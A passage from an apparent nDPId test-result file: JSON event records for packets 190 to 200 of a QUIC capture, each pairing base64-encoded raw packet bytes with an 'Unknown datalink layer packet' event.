y20wBGJ77I5LDu2sfe51Paf7QUeGZGSNc\/MIg3frTN81k3VOcaLgtX4SVW+ktbRtmTRMFy7aBT1m9l4oKDt2hLWT7XMu3VGlDlBLOkAduZs8iCkr0crZ7L+KfQ1bqkJJS\/Ex9ak+\/SrDaX5xjH21D8n31qDfgbgRv1J5anPHEu5olYfcgx2NSMGiOUrhB7gD1bAlyAApmNz9Ou8iCWvF98s6Ug3ZlCN31iXfR5fX\/q1Yjy7KAiHj+jNpOLBjPSibLsl9ht4\/Mfo1mqxMtn+Ki+AV175IankPGRqUZNAHSJoeFVqcLt5UIIIoLkCnQsiX78ThtTu2oPW2eKmuTC0WZa61gpVKzCrsWe9FLZXcYoc04YaV+uCC5eJlEf6IAdehaENFa1oFzrH+dDq4wAu7aCOii\/aqRVVlLodArxEKxZaQ8PSpH1YQKg60KEN5NG2fvagZtXYYa3jUaOXtOKYfdBRpmHxT7grSlymFiCVjLGuDRcCBgg3y2IxTmzr2EZOKGSW87KWZ7DEJ+ctffT4OJg0Qwowtx9RXmJK8onpK061IjyP8dE+WJRhFPZ7q8voK9yNFKpHaySJ6wVMCTvsllNlGlp\/FhP25LQfjtP3aSdiVHhGUDjOOfBHPvaGj4+hzqI3cPbixOb5q8pH0+fWmVM575FuP84NTiW5Wv8gbLe3ZtsUufe0vTtR2\/9idIn3Wyoo94rukLpKPpGqL4OxFMNNPdIQECmKff+o2N2nr72NU4UaNWwGSEhyNNzLxpshXlaVWZUFSJJiv9bHQHULi9N4fw7dfKDgtE7sm4lF8nrAy3lvn3beI+HpPn3PBNgkrQz\/3hfjyrSLa2WQLNBBflI1lWtH7y0ibb5L1rNS2zzVnBEAwN+6j8Shjl1ng4xN2YLM4k3MzZf74EanWnuBDxqa7vyvmnHT0qQVURHye\/8BocPAH8sq2WwKksbnM+Dfms33pJluMs8yA0R4mqikqxvmOZJbFGzD2VFVP\/iaMjnaHVvUubWI7IaIXiZvrgUKrCY1x9e7P\/NKpJEsQFaknWzausFiKNqF2uXIyNoUirQjMDdY1oTd9x9rnsSKVKLKf+9a6dywHxuzd71lNGu3vVBEIMHluNodXAzamkCk8U2e54Tr94Y0V5qcbFqO+0cH4AI3S7tQdYkL9K1S4I2hPPX4YtUAAnwO4FooI80LpObHZEzBEp1HP+zaCe+rk4N\/a9c0QF6+cYtWhwtziXcGYJBUYwyQ1G1lk0REXr9hvvX0yApSt2urLSt\/th9zwI8yS8BXuhF\/bGP3r2PZJ5ksuNPckn0IfNYJ5\/7EQem8QfgBgNDQjsYYLecU9M6izrzR2bvmUpIovlPp3gjnRYL7audbiezsX5\/31\/0l+ry\/885Yqggc7sGgZ64g0L7QTNZG8Qihgqw5Qpc0q05\/a1U+2uOLYkkY79x7r55eEJ82TOpXWSGYql0mcrO3SVBqO+\/qpXNDwQQTZWg="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":190,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":191,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":976000,"pkt_caplen":59,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":59,"pkt_l4_len":0,"pkt":"RQAAO0Y5AABAEcD3CuYoqF5h4ZLy9AG7ACf9w15AAkdWAc94e3MQa2LoXut0WlNwolOnWEAqmyOwMSk="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":191,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":192,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":976000,"pkt_caplen":59,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":59,"pkt_l4_len":0,"pkt":"RQAAO0Y5AABAEcD3CuYoqF5h4ZLy9AG7ACf9w15AAkdWAc94e3MQa2LoXut0WlNwolOnWEAqmyOwMSk="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":192,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":193,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":976000,"pkt_caplen":59,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":59,"pkt_l4_len":0,"pkt":"RTgAO0Y5AABAEcC\/CuYoqF5h4ZLy9AG7ACf9w15AAkdWAc94e3MQa2LoXut0WlNwolOnWEAqmyOwMSk="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":193,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02063{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAAQABZEalrXmHhkgrmKKgBu\/L0BOwLD0AL5Wq3At9khLPpYeCDmsHSuTXJcraKHqAHBKHj0zBhGAslTSSikKqRZkxJQt2NFnL6W9CNVtZTynJmO0QxA2eUaRV5ai6TAztzSMs4Fbi6MF+eSZOyvF2st6ZUSU9wHWvfqVWy2Ri6MOd+e6qfMAhlMEJW\/A\/En2ZS4\/p0NA9Q1mTR+NlAcdVBoQzj2jcWETLXaLwsO30BWD5X7wUnQcSQ1VOB9wx3AUZ\/rDCkrrTbv+D7+j9Ra3DOxJifaC3M0Yeu7SGozajStZ1VfpYqKzi92JozAv8LRdzy5MDvMNUUENh\/qx+Sp4Rnh\/82nZbl3v\/FRshEfh9svRxh2vr8r0rQS4+mhgUvzBa+cXK1beUiLhMfD0zkxPTb5TNSNwIZQFxm45rE8ntQbeDKlSJhzGdKyUazm+s3dLQl4F2\/eSFaXzTKXl57KmYQZcVlaC0J1F0Jm+f5DmKtqLpm\/vdqVe1MYOop+S9\/2RG36bv7O+SFJjrtkzQSeQ6W5saB6hnRLcrKmyGQ\/F6qfIW0cU4YAiSoJeB50OdsITRHCtMGBsPFxQhYjV2pQVWEue1\/Xbl6ONtY1jj\/QHQNvkHBMr+etWeAr+whovZtyqCLZv0OEp3+eRMZFFln9RiqkvG57voI92N7sLfezNW02Ry2v3NACuU14da8hm+yMrToS0JeCLqe\/u8C7r5XrOuYXlNX4buijeL6DDR59DwEtl\/GrDTDByjl55rgggpH4hmgJjNM6kNPydsd3wvfID1U8k\/eHbsAXJXxxu5j8xczImQnXZVot+UMaHk6w8rQ99yjp4jyX0shhQupMWTVU5\/lqsQE8NjYSn8et9p\/Pe44N+uFujxx0JiaF8kl4rjc3Lb8X8o9IOAKvFRkz\/UR9FcJKBcOgy14WjB5\/NzjDg96y6fy+yK1O9skLpJNtUWxURM5IBfkqRiFUcAe3BglLp8NGFtUlXHZZZT4jL+oR1+87Cv74slIFzpT4DgQ+XE2zltj6ENLPTjR8rQ\/nV\/NNhLO3G5vSoNmMzHGRZPGjZeOgQ9qiNa4Q6idgke4aas+Df3FxcffbrlZiCwOZDSJ0ytRFhfk3KBUINX903QnblVM6\/ngcQHseH0\/uHbV8OO4OBMYuwj0KbRMzSD3s3WbVaHOUv+qvYdXJRiFRk2RhmHyUZFuVDbHW7gmZEqZQeJcgHLCUjWHf\/NJlh\/U79EwzEPW8170BD4eFtqR1Q1hszgJgGwLwCaHCcNJYcWjMNURfSCSBp284BoJuHCF68SKP4LPPGeyC2eX7XTeD7CKou6J20rrjnMxcSrQeDe6pywBk4C6FVcH8Bbu8Yf2EicKHRYPAHbQm836YBWiS6+UOhcP9EAua0+fREqj3VxvQeSoB5Fi6Hl\/6xoTbAMllEg0Neg2L7Nw+tjGsJQhbEUiCwiY8rMiSR8fI03pod1cj5GEQMGfdh3z\/J6ur5EBYxodkKNUZNeXYRYocxleo2d45f8Y+CJx4\/rRz38Eqy7sdgbG\/+TkkAwX\/cHPh38vt5Epf83tIXf2hY\/21DxYOupEayRK54vMLrl6H6Yr15eJnPvFoUh7EQDv80ZKYgrk3hFShC2XtIwNCuuVYctBxRRn83kWjvIOYH4JtS8SJJnlND83B5vwdaCo9uBbEFct8rA0P8bA3WmtA+hy\/1wjQPg="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":194,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02063{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":195,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAAQABZEalrXmHhkgrmKKgBu\/L0BOwLD0AL5Wq3At9khLPpYeCDmsHSuTXJcraKHqAHBKHj0zBhGAslTSSikKqRZkxJQt2NFnL6W9CNVtZTynJmO0QxA2eUaRV5ai6TAztzSMs4Fbi6MF+eSZOyvF2st6ZUSU9wHWvfqVWy2Ri6MOd+e6qfMAhlMEJW\/A\/En2ZS4\/p0NA9Q1mTR+NlAcdVBoQzj2jcWETLXaLwsO30BWD5X7wUnQcSQ1VOB9wx3AUZ\/rDCkrrTbv+D7+j9Ra3DOxJifaC3M0Yeu7SGozajStZ1VfpYqKzi92JozAv8LRdzy5MDvMNUUENh\/qx+Sp4Rnh\/82nZbl3v\/FRshEfh9svRxh2vr8r0rQS4+mhgUvzBa+cXK1beUiLhMfD0zkxPTb5TNSNwIZQFxm45rE8ntQbeDKlSJhzGdKyUazm+s3dLQl4F2\/eSFaXzTKXl57KmYQZcVlaC0J1F0Jm+f5DmKtqLpm\/vdqVe1MYOop+S9\/2RG36bv7O+SFJjrtkzQSeQ6W5saB6hnRLcrKmyGQ\/F6qfIW0cU4YAiSoJeB50OdsITRHCtMGBsPFxQhYjV2pQVWEue1\/Xbl6ONtY1jj\/QHQNvkHBMr+etWeAr+whovZtyqCLZv0OEp3+eRMZFFln9RiqkvG57voI92N7sLfezNW02Ry2v3NACuU14da8hm+yMrToS0JeCLqe\/u8C7r5XrOuYXlNX4buijeL6DDR59DwEtl\/GrDTDByjl55rgggpH4hmgJjNM6kNPydsd3wvfID1U8k\/eHbsAXJXxxu5j8xczImQnXZVot+UMaHk6w8rQ99yjp4jyX0shhQupMWTVU5\/lqsQE8NjYSn8et9p\/Pe44N+uFujxx0JiaF8kl4rjc3Lb8X8o9IOAKvFRkz\/UR9FcJKBcOgy14WjB5\/NzjDg96y6fy+yK1O9skLpJNtUWxURM5IBfkqRiFUcAe3BglLp8NGFtUlXHZZZT4jL+oR1+87Cv74slIFzpT4DgQ+XE2zltj6ENLPTjR8rQ\/nV\/NNhLO3G5vSoNmMzHGRZPGjZeOgQ9qiNa4Q6idgke4aas+Df3FxcffbrlZiCwOZDSJ0ytRFhfk3KBUINX903QnblVM6\/ngcQHseH0\/uHbV8OO4OBMYuwj0KbRMzSD3s3WbVaHOUv+qvYdXJRiFRk2RhmHyUZFuVDbHW7gmZEqZQeJcgHLCUjWHf\/NJlh\/U79EwzEPW8170BD4eFtqR1Q1hszgJgGwLwCaHCcNJYcWjMNURfSCSBp284BoJuHCF68SKP4LPPGeyC2eX7XTeD7CKou6J20rrjnMxcSrQeDe6pywBk4C6FVcH8Bbu8Yf2EicKHRYPAHbQm836YBWiS6+UOhcP9EAua0+fREqj3VxvQeSoB5Fi6Hl\/6xoTbAMllEg0Neg2L7Nw+tjGsJQhbEUiCwiY8rMiSR8fI03pod1cj5GEQMGfdh3z\/J6ur5EBYxodkKNUZNeXYRYocxleo2d45f8Y+CJx4\/rRz38Eqy7sdgbG\/+TkkAwX\/cHPh38vt5Epf83tIXf2hY\/21DxYOupEayRK54vMLrl6H6Yr15eJnPvFoUh7EQDv80ZKYgrk3hFShC2XtIwNCuuVYctBxRRn83kWjvIOYH4JtS8SJJnlND83B5vwdaCo9uBbEFct8rA0P8bA3WmtA+hy\/1wjQPg="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":195,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02063{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":196,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAAQABZEakzXmHhkgrmKKgBu\/L0BOwLD0AL5Wq3At9khLPpYeCDmsHSuTXJcraKHqAHBKHj0zBhGAslTSSikKqRZkxJQt2NFnL6W9CNVtZTynJmO0QxA2eUaRV5ai6TAztzSMs4Fbi6MF+eSZOyvF2st6ZUSU9wHWvfqVWy2Ri6MOd+e6qfMAhlMEJW\/A\/En2ZS4\/p0NA9Q1mTR+NlAcdVBoQzj2jcWETLXaLwsO30BWD5X7wUnQcSQ1VOB9wx3AUZ\/rDCkrrTbv+D7+j9Ra3DOxJifaC3M0Yeu7SGozajStZ1VfpYqKzi92JozAv8LRdzy5MDvMNUUENh\/qx+Sp4Rnh\/82nZbl3v\/FRshEfh9svRxh2vr8r0rQS4+mhgUvzBa+cXK1beUiLhMfD0zkxPTb5TNSNwIZQFxm45rE8ntQbeDKlSJhzGdKyUazm+s3dLQl4F2\/eSFaXzTKXl57KmYQZcVlaC0J1F0Jm+f5DmKtqLpm\/vdqVe1MYOop+S9\/2RG36bv7O+SFJjrtkzQSeQ6W5saB6hnRLcrKmyGQ\/F6qfIW0cU4YAiSoJeB50OdsITRHCtMGBsPFxQhYjV2pQVWEue1\/Xbl6ONtY1jj\/QHQNvkHBMr+etWeAr+whovZtyqCLZv0OEp3+eRMZFFln9RiqkvG57voI92N7sLfezNW02Ry2v3NACuU14da8hm+yMrToS0JeCLqe\/u8C7r5XrOuYXlNX4buijeL6DDR59DwEtl\/GrDTDByjl55rgggpH4hmgJjNM6kNPydsd3wvfID1U8k\/eHbsAXJXxxu5j8xczImQnXZVot+UMaHk6w8rQ99yjp4jyX0shhQupMWTVU5\/lqsQE8NjYSn8et9p\/Pe44N+uFujxx0JiaF8kl4rjc3Lb8X8o9IOAKvFRkz\/UR9FcJKBcOgy14WjB5\/NzjDg96y6fy+yK1O9skLpJNtUWxURM5IBfkqRiFUcAe3BglLp8NGFtUlXHZZZT4jL+oR1+87Cv74slIFzpT4DgQ+XE2zltj6ENLPTjR8rQ\/nV\/NNhLO3G5vSoNmMzHGRZPGjZeOgQ9qiNa4Q6idgke4aas+Df3FxcffbrlZiCwOZDSJ0ytRFhfk3KBUINX903QnblVM6\/ngcQHseH0\/uHbV8OO4OBMYuwj0KbRMzSD3s3WbVaHOUv+qvYdXJRiFRk2RhmHyUZFuVDbHW7gmZEqZQeJcgHLCUjWHf\/NJlh\/U79EwzEPW8170BD4eFtqR1Q1hszgJgGwLwCaHCcNJYcWjMNURfSCSBp284BoJuHCF68SKP4LPPGeyC2eX7XTeD7CKou6J20rrjnMxcSrQeDe6pywBk4C6FVcH8Bbu8Yf2EicKHRYPAHbQm836YBWiS6+UOhcP9EAua0+fREqj3VxvQeSoB5Fi6Hl\/6xoTbAMllEg0Neg2L7Nw+tjGsJQhbEUiCwiY8rMiSR8fI03pod1cj5GEQMGfdh3z\/J6ur5EBYxodkKNUZNeXYRYocxleo2d45f8Y+CJx4\/rRz38Eqy7sdgbG\/+TkkAwX\/cHPh38vt5Epf83tIXf2hY\/21DxYOupEayRK54vMLrl6H6Yr15eJnPvFoUh7EQDv80ZKYgrk3hFShC2XtIwNCuuVYctBxRRn83kWjvIOYH4JtS8SJJnlND83B5vwdaCo9uBbEFct8rA0P8bA3WmtA+hy\/1wjQPg="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":196,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAABQABZEalqXmHhkgrmKKgBu\/L0BOxp1UbmjKo1gY4xXFKCwtD0cvlfy3WSqxZI+4d4LgVKAbZ\/49b4pTEeHbaorCu9oU1dfRxQ9kez576ifHf9fSELbvMNkpfHoeJu5eBJcFmvkCK\/hq12d\/xW0IJ0YHIp6sJAt8FQ1sn60HDmvfIhGNk69IGpR\/ToTWpP+ZL6kflu94RVS4GfVr6oKzyCZZBAZIhLBV6HqjpV8eJpItLZ9MJc\/3MQYk2fXUwtX0dYtgHvciC1oRKorHTnSNnodz+fk6Xc5orxeFrfEMqNWhWyYqKyafI0gavcnMOBmUlAyf\/1O99OR6pPn6owmoV21Ez2tfoZjzcR3YfcNeweLvzusZqolFeMArFfZ\/v07q1De8Y2JdK2bIrsDfpwVBYzNKEkQZsYpJKMMrI6iz04iSp33YA+KfGBZdxVG7vSykxDAjnzjgE6KDonatRdaK9q13pezJT4QLDREjswp4q1DpMXK1tcgmNadGjnY7AKP0rwJbqdVeTOhIa2rn8rZg4zYIs7OgMVap6f5WoTWAc0V1ZpDWH39dPYyVHCMbgzQQZzPMC\/9+MkjfQkHQoPi4kW1B9ca18xNj+yrM4z+JK0a\/bQF1HCKwAMey3nbYyBvLm0MicSmKF2G0oRTKylEDylnYY2CiygfQvS4RofaafTKYhTgOkTbUijwS\/yl1EhNlAWvxpwG5DcoPhPqS\/6ajfA9sznZEZVEVixWWCONzCHSl0LfqW4sX4yet3WiAescFR3maT9gMs8zQ4q6a4W2B+\/aMWhEky8pnClyteSlYo6lQIFFYsWsnhGXludKrV2dFOatZBWwx1wdE4Aa+98uO6R0bp1rWrvxCoWrp21cl35WwKI8OdJhm5QikwzPbxYzwvaTPDi3bEZeqjqeGZ9wUYATFeyo83blXoiM0w5M+rJH5i2h29NH9Nl7M5376gn2kOpyD1zxgZRU5CX2w7YBKHE\/XO\/8K2GTCf9Jo2+TojmN0RjTj8LmCpEwQrrf8pTT+bkNdBxzVarBioedZebEJvrEZDitM7fJofXD1poh8MpJXZJ3qU6SauatSFcva2D62z\/ICxKREiQ4e0MyiiCUnAKt95jVfX2lQoMMO2OZS3hcke5QS\/Y5bYANMXOpdBzBlpUN6mt9fN9hwEUyq6Ku9LkQwd3KQI5T82+vFM2uHGVK18RMLnZlNXfZPeqkon\/fK3myj3\/6LYcgkl7GsIEFektoJdsKOkG1SJrIeIY443b48J4WnKgOI8JHmp\/3BJIGLCCueDSss3xlsZVZGMkHDTuYcNKMkJw0m1g3l+m875fGzVdouKHkOdDCtDqfZJFW5K+tQYRbR0SGH8fwttlhZ+U7EzzFRkx0F9kXR\/koJVjTlxC6DrLlTfraRHQJbMMqPGvnFUjopXqMzMPx2joK\/ANfkuqmmEAwfjfUyG7LoiYfZeZf\/6TMegttmZeAtrV6UmUigHfM4P3PzHYm9O6C1LfO3Bm4b9P54UzCdK\/7Fwgvaw5RPdqd2h1jAOph9ESQabio99Xxd7NqzbuP\/U+9aQUrLI7ip90qmLcOYJMxJkElZciyRJDWgnvk9nQjgZtnMcHFWQ8PQ8nVMK58QlVviX9cOAC\/auHg6aZfYB0vca2ggGm\/7QB3pVdOHz2Z5hS0RpE5+YfaHArxObOIQXXlQb8F6b0bYcKJ6ANPjU="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":197,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAABQABZEalqXmHhkgrmKKgBu\/L0BOxp1UbmjKo1gY4xXFKCwtD0cvlfy3WSqxZI+4d4LgVKAbZ\/49b4pTEeHbaorCu9oU1dfRxQ9kez576ifHf9fSELbvMNkpfHoeJu5eBJcFmvkCK\/hq12d\/xW0IJ0YHIp6sJAt8FQ1sn60HDmvfIhGNk69IGpR\/ToTWpP+ZL6kflu94RVS4GfVr6oKzyCZZBAZIhLBV6HqjpV8eJpItLZ9MJc\/3MQYk2fXUwtX0dYtgHvciC1oRKorHTnSNnodz+fk6Xc5orxeFrfEMqNWhWyYqKyafI0gavcnMOBmUlAyf\/1O99OR6pPn6owmoV21Ez2tfoZjzcR3YfcNeweLvzusZqolFeMArFfZ\/v07q1De8Y2JdK2bIrsDfpwVBYzNKEkQZsYpJKMMrI6iz04iSp33YA+KfGBZdxVG7vSykxDAjnzjgE6KDonatRdaK9q13pezJT4QLDREjswp4q1DpMXK1tcgmNadGjnY7AKP0rwJbqdVeTOhIa2rn8rZg4zYIs7OgMVap6f5WoTWAc0V1ZpDWH39dPYyVHCMbgzQQZzPMC\/9+MkjfQkHQoPi4kW1B9ca18xNj+yrM4z+JK0a\/bQF1HCKwAMey3nbYyBvLm0MicSmKF2G0oRTKylEDylnYY2CiygfQvS4RofaafTKYhTgOkTbUijwS\/yl1EhNlAWvxpwG5DcoPhPqS\/6ajfA9sznZEZVEVixWWCONzCHSl0LfqW4sX4yet3WiAescFR3maT9gMs8zQ4q6a4W2B+\/aMWhEky8pnClyteSlYo6lQIFFYsWsnhGXludKrV2dFOatZBWwx1wdE4Aa+98uO6R0bp1rWrvxCoWrp21cl35WwKI8OdJhm5QikwzPbxYzwvaTPDi3bEZeqjqeGZ9wUYATFeyo83blXoiM0w5M+rJH5i2h29NH9Nl7M5376gn2kOpyD1zxgZRU5CX2w7YBKHE\/XO\/8K2GTCf9Jo2+TojmN0RjTj8LmCpEwQrrf8pTT+bkNdBxzVarBioedZebEJvrEZDitM7fJofXD1poh8MpJXZJ3qU6SauatSFcva2D62z\/ICxKREiQ4e0MyiiCUnAKt95jVfX2lQoMMO2OZS3hcke5QS\/Y5bYANMXOpdBzBlpUN6mt9fN9hwEUyq6Ku9LkQwd3KQI5T82+vFM2uHGVK18RMLnZlNXfZPeqkon\/fK3myj3\/6LYcgkl7GsIEFektoJdsKOkG1SJrIeIY443b48J4WnKgOI8JHmp\/3BJIGLCCueDSss3xlsZVZGMkHDTuYcNKMkJw0m1g3l+m875fGzVdouKHkOdDCtDqfZJFW5K+tQYRbR0SGH8fwttlhZ+U7EzzFRkx0F9kXR\/koJVjTlxC6DrLlTfraRHQJbMMqPGvnFUjopXqMzMPx2joK\/ANfkuqmmEAwfjfUyG7LoiYfZeZf\/6TMegttmZeAtrV6UmUigHfM4P3PzHYm9O6C1LfO3Bm4b9P54UzCdK\/7Fwgvaw5RPdqd2h1jAOph9ESQabio99Xxd7NqzbuP\/U+9aQUrLI7ip90qmLcOYJMxJkElZciyRJDWgnvk9nQjgZtnMcHFWQ8PQ8nVMK58QlVviX9cOAC\/auHg6aZfYB0vca2ggGm\/7QB3pVdOHz2Z5hS0RpE5+YfaHArxObOIQXXlQb8F6b0bYcKJ6ANPjU="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":198,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAABQABZEakyXmHhkgrmKKgBu\/L0BOxp1UbmjKo1gY4xXFKCwtD0cvlfy3WSqxZI+4d4LgVKAbZ\/49b4pTEeHbaorCu9oU1dfRxQ9kez576ifHf9fSELbvMNkpfHoeJu5eBJcFmvkCK\/hq12d\/xW0IJ0YHIp6sJAt8FQ1sn60HDmvfIhGNk69IGpR\/ToTWpP+ZL6kflu94RVS4GfVr6oKzyCZZBAZIhLBV6HqjpV8eJpItLZ9MJc\/3MQYk2fXUwtX0dYtgHvciC1oRKorHTnSNnodz+fk6Xc5orxeFrfEMqNWhWyYqKyafI0gavcnMOBmUlAyf\/1O99OR6pPn6owmoV21Ez2tfoZjzcR3YfcNeweLvzusZqolFeMArFfZ\/v07q1De8Y2JdK2bIrsDfpwVBYzNKEkQZsYpJKMMrI6iz04iSp33YA+KfGBZdxVG7vSykxDAjnzjgE6KDonatRdaK9q13pezJT4QLDREjswp4q1DpMXK1tcgmNadGjnY7AKP0rwJbqdVeTOhIa2rn8rZg4zYIs7OgMVap6f5WoTWAc0V1ZpDWH39dPYyVHCMbgzQQZzPMC\/9+MkjfQkHQoPi4kW1B9ca18xNj+yrM4z+JK0a\/bQF1HCKwAMey3nbYyBvLm0MicSmKF2G0oRTKylEDylnYY2CiygfQvS4RofaafTKYhTgOkTbUijwS\/yl1EhNlAWvxpwG5DcoPhPqS\/6ajfA9sznZEZVEVixWWCONzCHSl0LfqW4sX4yet3WiAescFR3maT9gMs8zQ4q6a4W2B+\/aMWhEky8pnClyteSlYo6lQIFFYsWsnhGXludKrV2dFOatZBWwx1wdE4Aa+98uO6R0bp1rWrvxCoWrp21cl35WwKI8OdJhm5QikwzPbxYzwvaTPDi3bEZeqjqeGZ9wUYATFeyo83blXoiM0w5M+rJH5i2h29NH9Nl7M5376gn2kOpyD1zxgZRU5CX2w7YBKHE\/XO\/8K2GTCf9Jo2+TojmN0RjTj8LmCpEwQrrf8pTT+bkNdBxzVarBioedZebEJvrEZDitM7fJofXD1poh8MpJXZJ3qU6SauatSFcva2D62z\/ICxKREiQ4e0MyiiCUnAKt95jVfX2lQoMMO2OZS3hcke5QS\/Y5bYANMXOpdBzBlpUN6mt9fN9hwEUyq6Ku9LkQwd3KQI5T82+vFM2uHGVK18RMLnZlNXfZPeqkon\/fK3myj3\/6LYcgkl7GsIEFektoJdsKOkG1SJrIeIY443b48J4WnKgOI8JHmp\/3BJIGLCCueDSss3xlsZVZGMkHDTuYcNKMkJw0m1g3l+m875fGzVdouKHkOdDCtDqfZJFW5K+tQYRbR0SGH8fwttlhZ+U7EzzFRkx0F9kXR\/koJVjTlxC6DrLlTfraRHQJbMMqPGvnFUjopXqMzMPx2joK\/ANfkuqmmEAwfjfUyG7LoiYfZeZf\/6TMegttmZeAtrV6UmUigHfM4P3PzHYm9O6C1LfO3Bm4b9P54UzCdK\/7Fwgvaw5RPdqd2h1jAOph9ESQabio99Xxd7NqzbuP\/U+9aQUrLI7ip90qmLcOYJMxJkElZciyRJDWgnvk9nQjgZtnMcHFWQ8PQ8nVMK58QlVviX9cOAC\/auHg6aZfYB0vca2ggGm\/7QB3pVdOHz2Z5hS0RpE5+YfaHArxObOIQXXlQb8F6b0bYcKJ6ANPjU="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":199,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02052{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAACQABZEalpXmHhkgrmKKgBu\/L0BOypikQi36g7vX34eYFRHcnG2OMwT4Q5NQpNGcvUP3BNK81RtHibctQPfyu6AHjTKoVRPHaug1\/coqt9Ck1fqIEVqk7Kir5XqCzUiZQtEe5zIW0AkDLLquK+FDrUuzzlMRDXleGLL9eCzRPSlgn8klLVEmU5AkTSEwkRinBn+IL6UhejhjCCFYe8LKnI5jBYgpAmaLwh7eAB6e2+CMMHJ6mAldNC2mC4GhyY7yTO2I+Vg+r6Th7afQPIRAIgsBpIxp0HIHFSg7anlK0Q9GBOFfD2YSRPjBB9ft68NCyzIVWvZmvHw1+jAHGEFh092wZotFA20IEUD0q8gW6WO3pw5vXLoDtogTazhzYWxdqmmkLu6LmfmiBjaUylbKv+5kBmd+2wLZt8P3arZ7AMzqiA2CLi1inBkIDVtM55QSV+bnEdFatLeYNXKaAxHIo6dD78hkjGlmcAXvxR\/9+AEGtxjrnuAjhoAvT79qtdpzdRpEIyNIpd4oOQT1IZ2pk5YVehza\/84NH0b6N5BniPCBzV27m5GiVJkBhYDiiMUMvjZ48R+bS8vRboARlESAM4Ajc1bGnP+H4gb01VqurnjQNpTrZB6SuvCSHSRWZn73Cl9hQnpbVM